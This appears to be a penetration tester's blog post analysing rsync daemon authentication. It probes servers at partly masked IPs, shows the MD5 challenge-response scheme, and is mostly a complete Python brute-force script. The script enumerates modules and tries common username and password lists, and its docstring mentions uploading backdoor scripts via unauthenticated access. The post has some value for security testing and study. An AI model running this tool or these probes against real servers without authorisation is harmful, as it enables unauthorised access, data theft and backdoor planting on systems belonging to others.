I ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example this one written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up.

Traffic Analysis

tcpdump -i eth0  net 47.*.*.142  -w access_denied.pcap  -v
                                                                 
            NIC           ip                 path of the file to write

Capturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let’s analyze each one.

1. Empty Data

After the TCP connection is established, the server first responds with version information, with no paths or other data afterwards.

The command lines are as follows:

$ rsync  rsync://222.*.*.163
welcome to zckj ECG service!
$ rsync  rsync://222.*.*.163/
welcome to zckj ECG service!

The corresponding traffic is shown in the figure below:

2. IP Access Restriction

The server restricts which IPs may connect to the rsync service, returning @ERROR: access denied.

The command lines are as follows:

$ rsync  rsync://47.*.*.142/
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
rhel4test      	
interface      	
default        	
posweb2        	
$ rsync  rsync://47.*.*.142/default
++++++++++++++++++++++++++++++++++++++++++++++
Welcome to use the posweb2 rsync services!
+++++++++++++++++++++++++++++++++++++++++++++
@ERROR: access denied to default from unknown (x.x.x.x)
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]

The corresponding packets are shown in the figure:

3. Unauthenticated File Viewing/Downloading

Files can be viewed or downloaded without a password.

The command lines are as follows:

rsync  rsync://182.*.*.105/ftp/lnmp/js/cross_framing_protection.js -av cross_framing_protection.js
   rsync  rsync://182.*.*.105/
   rsync  rsync://182.*.*.105/frp/
   rsync  rsync://182.*.*.105/ftp/

After the server returns the version information, subsequent data contains file path information, along with some information about the rsync server itself:

As a side note, here is the content of cross_framing_protection.js:

/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Conditionally included if framing is not allowed
 */
if (self == top) {
    var style_element = document.getElementById("cfs-style");
    style_element.parentNode.removeChild(style_element);
} else {
    top.location = self.location;
}

4. Password Required to Access Files

A password is required to access files. Taking a password-protected rsync server as an example, login requires a password. To analyze how the password is transmitted, we enter 123 and 123456:

$ rsync  rsync://115.*.*.9/            
nagios         	
pxe            	
iso            	
ks             	
$ rsync  rsync://115.*.*.9/ks
Password: 123
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
$ rsync  rsync://115.*.*.9/ks
Password: 123456
@ERROR: auth failed on module ks
rsync error: error starting client-server protocol (code 5) at main.c(1648) [Receiver=3.1.2]
// then entered `123456` two more times

The corresponding packet information is shown in the figure below:

To make it easier for everyone to analyze the encryption scheme, I’ve copied it below as well.

# 123
@RSYNCD: AUTHREQD +5i4JUkz2ILcsstkVvq+pw
root rzSmBKOaIrWVeeAqD9y3Qg
# 123456  [1]
@RSYNCD: AUTHREQD kr226cbR33Kp7oa/mBkD8Q
root sJO2OqB/FrX2AdzExhXRVg
# 123456  [2]
@RSYNCD: AUTHREQD 4zEjkjnHgAohsbmcGWDAIew
root ZQHyePox75RGlDOiSjWyyg
# 123456  [3]
@RSYNCD: AUTHREQD rmTUiaJNQD/5zenMBaiGuA
root gxAlH3oiZ1CgibVelnHanA

Now let’s analyze how rsync encrypts the password.

Encryption Scheme Analysis

From related materials we know that rsync uses MD5 encryption.

Through packet analysis, I confirmed that rsync version 31.0 also uses MD5 challenge encryption, same as 30.0:

With both the plaintext and the ciphertext sent during transmission in hand, we can start analyzing the encryption scheme. After analysis, it turns out the scheme is not complicated:

# final password expression
sentPassword = base64(md5(password+challenge))

Brute-Force Script

The core code is as follows. The code has been uploaded to GitHub at: https://github.com/hi-unc1e/some_scripts/blob/master/EXPs/rsync_weakpass.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''rsync weak password scanner.
rsync may have weak passwords. The PoC outputs 【folders accessible without authentication, usernames, passwords】 in msg. Unauthenticated rsync access brings two main risks: first, serious information disclosure; second, uploading backdoor script files for remote command execution.
'''
# copyright information
__author__ = "cdxy https://github.com/Xyntax"
__reference__ = "https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/rsync-weakpass.py"
__modifiedby__ = "unc1e"
import socket
import struct
import hashlib
import base64
import signal
# usernames and passwords
USER_LIST = ['root', 'Administrator', 'rsync', 'user', 'test']
PASS_LIST = ['', 'password', '123456', '12345678', 'qwerty', 'admin123', 'test123', '123456789']
# USER_LIST = ['root']
def initialisation(ip, port):
    '''
        Initialize and get the version info; the version info must be sent at the start of every session
    '''
    try:
        flag = False
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(8)
        rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
        payload = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8"))  # init
        port = int(port)
        s.connect((ip, port))
        s.send(payload)
        data = s.recv(1024)
        # reply = struct.unpack('!8s5ss', data)
        reply = data.decode()
        if ("RSYNCD" in reply):
            flag = True
            version = reply.split(' ')[1].strip()#31.0 
            rsynclist = ClientQuery(s)  # query module names
        if flag:
            return True, "@RSYNCD:", version, rsynclist
    except Exception as e:
        print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
def ClientQuery(socket_pre):
    '''
        Query all module names
        @return module name
    '''
    s = socket_pre
    payload = struct.pack("!s", "\n".encode('utf-8'))  # query
    modulelist = []
    try:
        s.send(payload)
        while True:
            data = s.recv(1024)  # Module List lenth 17
            moduletemp = struct.unpack("!" + str(len(data)) + "s", data)
            modulename = moduletemp[0].decode().replace(" ", "").split("\n")
            for i in range(len(modulename)):
                realname = modulename[i].split("\t")
                if realname[0] != "":
                    modulelist.append(realname[0])
            if modulename[-2] == "@RSYNCD:EXIT":
                break
    except Exception as e:
        print(e)
        s.close()
    s.close()
    return modulelist
def ClientCommand(ip, port, cmd):
    '''Wrapper method for brute-forcing the password
    '''
    rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"}
    payload1 = struct.pack("!8s5ss", rsync["MagicHeader"].encode("utf-8"), rsync["HeaderVersion"].encode("utf-8"), "\n".encode("utf-8"))
    # payload2 = struct.pack("!%ss" % (len(cmd)+1), cmd.encode("utf-8")+'\n'.encode("utf-8") )
    payload2 = cmd.encode("utf-8")+'\n'.encode("utf-8") 
    pass_list = []
    for i in USER_LIST:
        pass_list.append((i, i))
        for j in PASS_LIST:
            pass_list.append((i, j))
    for useri, pwdj in pass_list:
        try:
            user = useri.encode("utf-8")
            password = pwdj.encode("utf-8")
            # debug("try: %s,%s" %(useri,pwdj))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(port)
            s.connect((ip, port))
            # step1 get version and init
            s.send(payload1)
            s.recv(1024)  # data  @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
            # send cmd and generate the challenge code
            s.send(payload2)  # send client query
            data = s.recv(1024)  # data  @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g
            challenge = data[18:-1]  # get challenge code
            # encrypt and generate the payload3
            md = hashlib.md5()
            md.update(password)
            md.update(challenge)
            auth_send_data = base64.encodestring(md.digest())
            payload3 = "%s %s\n" % (user.decode(), auth_send_data[:-3].decode())
            payload3 = payload3.encode()
            s.send(payload3)
            data3 = s.recv(1024)  # @RSYNCD: OK
            s.close()
            if 'OK' in data3.decode():
                state = 1
                if password == '':
                    msg = "Module:'%s' User/Password:%s/<empty>" % (cmd, user)
                else:
                    msg = "Module:'%s' User/Password:%s/%s" % (cmd, user, password)
                return state, msg 
            else:
                continue
        # try next user-pwd pair            
        except Exception as e:
            # print('[-]rsync weakpass not found (brute failed)(%s)' % str(e))
            s.close()
            break
    state = 0
    msg = '[-]rsync weakpass not found (brute failed)'
    return state, msg 
def run(args):
    msg = ''
    state = 0
    # param init
    try:
        ip = args.get('ip')
        port = args.get("port", '873')
    except Exception as e:
        state = 0
        msg = '[-]parse ip/port error(%s)' % str(e)
        result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
        return result      
    try:
        res = initialisation(ip, port)
        # (True, '@RSYNCD:', ' 31.0', ['share', '@RSYNCD:EXIT'])
        if res[0]:
            if res[2] < "30.0":  # check version; login method for versions <30.0 is not supported
                state = 0
                msg = '[-]version not support'
                result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
                return result    
            for i in range(len(res[3]) - 1):
                state, msg = ClientCommand(ip, port, res[3][i])
                if 'Module:' in msg:
                    msg += msg
                else:
                    msg = "[-]No Module Available"
            
            result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
            return result
        else:
            state = 0
            msg = '[-]version not support'
            result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
            return result    
    except Exception as e:
        state = 0
        msg = '[-]vuln not found, error:(%s)' % str(e)
        result = {'ip': ip, 'port': port, 'state': state, 'msg': msg}
        return result       
if __name__ == '__main__':
    '''Fill in the brute-force target information here
    '''
    ip = '127.0.0.1'
    port = '873'
    args = {'ip': ip, 'port': port}
    res = run(args)
    print(res)
    # {'ip': '127.0.0.1', 'port': '873', 'state': 1, 'msg': "Module:'Config' User/Password:b'rsync'/b'123456'Module:'Config' User/Password:b'rsync'/b'123456'"}